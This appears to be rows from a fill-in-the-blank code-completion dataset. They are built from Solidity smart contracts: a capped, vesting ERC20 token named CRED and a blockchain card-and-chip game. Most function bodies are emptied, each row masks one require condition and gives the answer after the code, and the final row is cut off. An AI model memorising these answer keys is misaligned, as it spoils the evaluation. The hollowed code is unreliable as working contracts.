* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
}
}
contract MonthlyTokenVesting is TokenVesting {
uint256 public previousTokenVesting = 0;
function MonthlyTokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
) public
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{ }
function release(ERC20Basic token) public onlyOwner {
}
}
contract CREDToken is CappedToken {
using SafeMath for uint256;
/**
* Constant fields
*/
string public constant name = "Verify Token";
uint8 public constant decimals = 18;
string public constant symbol = "CRED";
/**
* Immutable state variables
*/
// Time when team and reserved tokens are unlocked
uint256 public reserveUnlockTime;
address public teamWallet;
address public reserveWallet;
address public advisorsWallet;
/**
* State variables
*/
uint256 teamLocked;
uint256 reserveLocked;
uint256 advisorsLocked;
// Are the tokens non-transferrable?
bool public locked = true;
// When tokens can be unfreezed.
uint256 public unfreezeTime = 0;
bool public unlockedReserveAndTeamFunds = false;
MonthlyTokenVesting public advisorsVesting = MonthlyTokenVesting(address(0));
/**
* Events
*/
event MintLocked(address indexed to, uint256 amount);
event Unlocked(address indexed to, uint256 amount);
/**
* Modifiers
*/
// Tokens must not be locked.
modifier whenLiquid {
}
modifier afterReserveUnlockTime {
}
modifier unlockReserveAndTeamOnce {
}
/**
* Constructor
*/
function CREDToken(
uint256 _cap,
uint256 _yearLockEndTime,
address _teamWallet,
address _reserveWallet,
address _advisorsWallet
)
CappedToken(_cap)
public
{
}
// Mint a certain number of tokens that are locked up.
// _value has to be bounded not to overflow.
function mintAdvisorsTokens(uint256 _value) public onlyOwner canMint {
require(advisorsLocked == 0);
require(<FILL_ME>)
advisorsLocked = _value;
MintLocked(advisorsWallet, _value);
}
function mintTeamTokens(uint256 _value) public onlyOwner canMint {
}
function mintReserveTokens(uint256 _value) public onlyOwner canMint {
}
/// Finalise any minting operations. Resets the owner and causes normal tokens
/// to be frozen. Also begins the countdown for locked-up tokens.
function finalise() public onlyOwner {
}
// Causes tokens to be liquid 1 week after the tokensale is completed
function unfreeze() public {
}
/// Unlock any now freeable tokens that are locked up for team and reserve accounts .
function unlockTeamAndReserveTokens() public whenLiquid afterReserveUnlockTime unlockReserveAndTeamOnce {
}
function unlockAdvisorTokens() public whenLiquid {
}
/**
* Methods overriding some OpenZeppelin functions to prevent calling them when token is not liquid.
*/
function transfer(address _to, uint256 _value) public whenLiquid returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) public whenLiquid returns (bool) {
}
function approve(address _spender, uint256 _value) public whenLiquid returns (bool) {
}
function increaseApproval(address _spender, uint256 _addedValue) public whenLiquid returns (bool) {
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenLiquid returns (bool) {
}
}
| _value.add(totalSupply)<=cap | 325,917 | _value.add(totalSupply)<=cap |
null | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
}
}
contract MonthlyTokenVesting is TokenVesting {
uint256 public previousTokenVesting = 0;
function MonthlyTokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
) public
TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable)
{ }
function release(ERC20Basic token) public onlyOwner {
}
}
contract CREDToken is CappedToken {
using SafeMath for uint256;
/**
* Constant fields
*/
string public constant name = "Verify Token";
uint8 public constant decimals = 18;
string public constant symbol = "CRED";
/**
* Immutable state variables
*/
// Time when team and reserved tokens are unlocked
uint256 public reserveUnlockTime;
address public teamWallet;
address public reserveWallet;
address public advisorsWallet;
/**
* State variables
*/
uint256 teamLocked;
uint256 reserveLocked;
uint256 advisorsLocked;
// Are the tokens non-transferrable?
bool public locked = true;
// When tokens can be unfreezed.
uint256 public unfreezeTime = 0;
bool public unlockedReserveAndTeamFunds = false;
MonthlyTokenVesting public advisorsVesting = MonthlyTokenVesting(address(0));
/**
* Events
*/
event MintLocked(address indexed to, uint256 amount);
event Unlocked(address indexed to, uint256 amount);
/**
* Modifiers
*/
// Tokens must not be locked.
modifier whenLiquid {
}
modifier afterReserveUnlockTime {
}
modifier unlockReserveAndTeamOnce {
}
/**
* Constructor
*/
function CREDToken(
uint256 _cap,
uint256 _yearLockEndTime,
address _teamWallet,
address _reserveWallet,
address _advisorsWallet
)
CappedToken(_cap)
public
{
}
// Mint a certain number of tokens that are locked up.
// _value has to be bounded not to overflow.
function mintAdvisorsTokens(uint256 _value) public onlyOwner canMint {
}
function mintTeamTokens(uint256 _value) public onlyOwner canMint {
}
function mintReserveTokens(uint256 _value) public onlyOwner canMint {
}
/// Finalise any minting operations. Resets the owner and causes normal tokens
/// to be frozen. Also begins the countdown for locked-up tokens.
function finalise() public onlyOwner {
}
// Causes tokens to be liquid 1 week after the tokensale is completed
function unfreeze() public {
}
/// Unlock any now freeable tokens that are locked up for team and reserve accounts .
function unlockTeamAndReserveTokens() public whenLiquid afterReserveUnlockTime unlockReserveAndTeamOnce {
require(<FILL_ME>)
totalSupply = totalSupply.add(teamLocked).add(reserveLocked);
balances[teamWallet] = balances[teamWallet].add(teamLocked);
balances[reserveWallet] = balances[reserveWallet].add(reserveLocked);
teamLocked = 0;
reserveLocked = 0;
unlockedReserveAndTeamFunds = true;
Transfer(address(0), teamWallet, teamLocked);
Transfer(address(0), reserveWallet, reserveLocked);
Unlocked(teamWallet, teamLocked);
Unlocked(reserveWallet, reserveLocked);
}
function unlockAdvisorTokens() public whenLiquid {
}
/**
* Methods overriding some OpenZeppelin functions to prevent calling them when token is not liquid.
*/
function transfer(address _to, uint256 _value) public whenLiquid returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) public whenLiquid returns (bool) {
}
function approve(address _spender, uint256 _value) public whenLiquid returns (bool) {
}
function increaseApproval(address _spender, uint256 _addedValue) public whenLiquid returns (bool) {
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenLiquid returns (bool) {
}
}
| totalSupply.add(teamLocked).add(reserveLocked)<=cap | 325,917 | totalSupply.add(teamLocked).add(reserveLocked)<=cap |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
require(<FILL_ME>)
master = acc;
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| address(0)!=acc | 325,936 | address(0)!=acc |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
require(<FILL_ME>)
_;
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
